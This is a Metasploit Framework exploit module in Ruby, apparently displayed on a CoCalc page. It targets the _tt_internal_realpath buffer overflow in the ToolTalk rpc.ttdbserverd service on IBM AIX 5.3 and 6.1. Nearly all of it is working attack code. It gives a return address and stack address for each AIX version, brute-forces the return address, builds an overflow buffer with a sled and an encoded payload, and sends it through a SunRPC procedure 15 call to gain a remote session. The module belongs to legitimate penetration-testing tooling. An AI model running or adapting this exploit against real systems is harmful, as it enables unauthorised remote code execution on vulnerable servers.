CoCalc -- rpc_ttdbserverd

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/aix/rpc_ttdbserverd_realpath.rb
²¹⁵⁹⁶ views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = GreatRanking
8

9
  include Msf::Exploit::Remote::SunRPC
10
  include Msf::Exploit::Brute
11

12
  def initialize(info = {})
13
    super(
14
      update_info(
15
        info,
16
        'Name' => 'ToolTalk rpc.ttdbserverd _tt_internal_realpath Buffer Overflow (AIX)',
17
        'Description' => %q{
18
          This module exploits a buffer overflow vulnerability in _tt_internal_realpath
19
          function of the ToolTalk database server (rpc.ttdbserverd).
20
        },
21
        'Author' => [
22
          'Ramon de C Valle',
23
          'Adriano Lima <adriano[at]risesecurity.org>',
24
        ],
25
        'Platform' => [ 'aix' ],
26
        'References' => [
27
          [ 'CVE', '2009-2727'],
28
          [ 'OSVDB', '55151' ]
29
        ],
30
        'Payload' => {
31
          'BadChars' => "\x00"
32
        },
33
        'Targets' => [
34
          [
35
            'IBM AIX Version 6.1.4',
36
            {
37
              'Arch' => 'ppc',
38
              'Platform' => 'aix',
39
              'Ret' => 0x20099430 + 4096,
40
              'Addr1' => 0x2ff1ff50 - 8192,
41
              'AIX' => '6.1.4',
42
              'Bruteforce' =>
43
              {
44
                'Start' => { 'Ret' => 0x20099430 - 8192 },
45
                'Stop' => { 'Ret' => 0x20099430 + 8192 },
46
                'Step' => 1024
47
              }
48
            }
49
          ],
50
          [
51
            'IBM AIX Version 6.1.3',
52
            {
53
              'Arch' => 'ppc',
54
              'Platform' => 'aix',
55
              'Ret' => 0x20099280 + 4096,
56
              'Addr1' => 0x2ff1ffd0 - 8192,
57
              'AIX' => '6.1.3',
58
              'Bruteforce' =>
59
              {
60
                'Start' => { 'Ret' => 0x20099280 - 8192 },
61
                'Stop' => { 'Ret' => 0x20099280 + 8192 },
62
                'Step' => 1024
63
              }
64
            }
65
          ],
66
          [
67
            'IBM AIX Version 6.1.2',
68
            {
69
              'Arch' => 'ppc',
70
              'Platform' => 'aix',
71
              'Ret' => 0x20099280 + 4096,
72
              'Addr1' => 0x2ff1ffd0 - 8192,
73
              'AIX' => '6.1.2',
74
              'Bruteforce' =>
75
              {
76
                'Start' => { 'Ret' => 0x20099280 - 8192 },
77
                'Stop' => { 'Ret' => 0x20099280 + 8192 },
78
                'Step' => 1024
79
              }
80
            }
81
          ],
82
          [
83
            'IBM AIX Version 6.1.1',
84
            {
85
              'Arch' => 'ppc',
86
              'Platform' => 'aix',
87
              'Ret' => 0x20099280 + 4096,
88
              'Addr1' => 0x2ff1ffd0 - 8192,
89
              'AIX' => '6.1.1',
90
              'Bruteforce' =>
91
              {
92
                'Start' => { 'Ret' => 0x20099280 - 8192 },
93
                'Stop' => { 'Ret' => 0x20099280 + 8192 },
94
                'Step' => 1024
95
              }
96
            }
97
          ],
98
          [
99
            'IBM AIX Version 6.1.0',
100
            {
101
              'Arch' => 'ppc',
102
              'Platform' => 'aix',
103
              'Ret' => 0x20099280 + 4096,
104
              'Addr1' => 0x2ff1ffd0 - 8192,
105
              'AIX' => '6.1.0',
106
              'Bruteforce' =>
107
              {
108
                'Start' => { 'Ret' => 0x20099280 - 8192 },
109
                'Stop' => { 'Ret' => 0x20099280 + 8192 },
110
                'Step' => 1024
111
              }
112
            }
113
          ],
114
          [
115
            'IBM AIX Version 5.3.10 5.3.9 5.3.8 5.3.7',
116
            {
117
              'Arch' => 'ppc',
118
              'Platform' => 'aix',
119
              'Ret' => 0x20096ba0 + 4096,
120
              'Addr1' => 0x2ff1ff14 - 8192,
121
              'AIX' => '5.3.9',
122
              'Bruteforce' =>
123
              {
124
                'Start' => { 'Ret' => 0x20096ba0 - 8192 },
125
                'Stop' => { 'Ret' => 0x20096ba0 + 8192 },
126
                'Step' => 1024
127
              }
128
            }
129
          ],
130
          [
131
            'IBM AIX Version 5.3.10',
132
            {
133
              'Arch' => 'ppc',
134
              'Platform' => 'aix',
135
              'Ret' => 0x20096bf0 + 4096,
136
              'Addr1' => 0x2ff1ff14 - 8192,
137
              'AIX' => '5.3.10',
138
              'Bruteforce' =>
139
              {
140
                'Start' => { 'Ret' => 0x20096bf0 - 8192 },
141
                'Stop' => { 'Ret' => 0x20096bf0 + 8192 },
142
                'Step' => 1024
143
              }
144
            }
145
          ],
146
          [
147
            'IBM AIX Version 5.3.9',
148
            {
149
              'Arch' => 'ppc',
150
              'Platform' => 'aix',
151
              'Ret' => 0x20096ba0 + 4096,
152
              'Addr1' => 0x2ff1ff14 - 8192,
153
              'AIX' => '5.3.9',
154
              'Bruteforce' =>
155
              {
156
                'Start' => { 'Ret' => 0x20096ba0 - 8192 },
157
                'Stop' => { 'Ret' => 0x20096ba0 + 8192 },
158
                'Step' => 1024
159
              }
160
            }
161
          ],
162
          [
163
            'IBM AIX Version 5.3.8',
164
            {
165
              'Arch' => 'ppc',
166
              'Platform' => 'aix',
167
              'Ret' => 0x20096c10 + 4096,
168
              'Addr1' => 0x2ff1ff98 - 8192,
169
              'AIX' => '5.3.8',
170
              'Bruteforce' =>
171
              {
172
                'Start' => { 'Ret' => 0x20096c10 - 8192 },
173
                'Stop' => { 'Ret' => 0x20096c10 + 8192 },
174
                'Step' => 1024
175
              }
176
            }
177
          ],
178
          [
179
            'IBM AIX Version 5.3.7',
180
            {
181
              'Arch' => 'ppc',
182
              'Platform' => 'aix',
183
              'Ret' => 0x20096c10 + 4096,
184
              'Addr1' => 0x2ff1ff98 - 8192,
185
              'AIX' => '5.3.7',
186
              'Bruteforce' =>
187
              {
188
                'Start' => { 'Ret' => 0x20096c10 - 8192 },
189
                'Stop' => { 'Ret' => 0x20096c10 + 8192 },
190
                'Step' => 1024
191
              }
192
            }
193
          ],
194
          [
195
            'Debug IBM AIX Version 6.1',
196
            {
197
              'Arch' => 'ppc',
198
              'Platform' => 'aix',
199
              'Ret' => 0xaabbccdd,
200
              'Addr1' => 0xddccbbaa,
201
              'AIX' => '6.1.4',
202
              'Bruteforce' =>
203
              {
204
                'Start' => { 'Ret' => 0xaabbccdd },
205
                'Stop' => { 'Ret' => 0xaabbccdd },
206
                'Step' => 1024
207
              }
208
            }
209
          ],
210
          [
211
            'Debug IBM AIX Version 5.3',
212
            {
213
              'Arch' => 'ppc',
214
              'Platform' => 'aix',
215
              'Ret' => 0xaabbccdd,
216
              'Addr1' => 0xddccbbaa,
217
              'AIX' => '5.3.10',
218
              'Bruteforce' =>
219
              {
220
                'Start' => { 'Ret' => 0xaabbccdd },
221
                'Stop' => { 'Ret' => 0xaabbccdd },
222
                'Step' => 1024
223
              }
224
            }
225
          ],
226
        ],
227
        'DefaultTarget' => 0,
228
        'DisclosureDate' => '2009-06-17',
229
        'Notes' => {
230
          'Reliability' => [ REPEATABLE_SESSION ],
231
          'Stability' => [ CRASH_SERVICE_RESTARTS ],
232
          'SideEffects' => [ IOC_IN_LOGS ]
233
        }
234
      )
235
    )
236
  end
237

238
  def brute_exploit(brute_target)
239
    if !@aixpayload
240
      datastore['AIX'] = target['AIX']
241
      @aixpayload = regenerate_payload.encoded
242
    end
243

244
    print_status('Trying to exploit rpc.ttdbserverd with address 0x%08x...' % brute_target['Ret'])
245

246
    begin
247
      sunrpc_create('tcp', 100083, 1)
248

249
      if target['AIX'] =~ /6\./
250
        buf = 'A'
251
      else
252
        buf = 'AA'
253
      end
254

255
      buf << [target['Addr1']].pack('N') * (1022 + 8)
256
      buf << [brute_target['Ret']].pack('N') * 32
257

258
      if target['AIX'] =~ /6\./
259
        buf << 'AAA'
260
      else
261
        buf << 'AA'
262
      end
263

264
      buf << "\x7f\xff\xfb\x78" * 1920
265
      buf << @aixpayload
266
      buf = Rex::Encoder::XDR.encode(buf, 2, 0x78000000, 2, 0x78000000)
267

268
      print_status('Sending procedure 15 call message...')
269
      sunrpc_call(15, buf)
270

271
      sunrpc_destroy
272
      handler
273
    rescue Rex::Proto::SunRPC::RPCTimeout
274
      # print_error('RPCTimeout')
275
    rescue EOFError
276
      # print_error('EOFError')
277
    end
278
  end
279
end
280

281
Product

Resources

Company
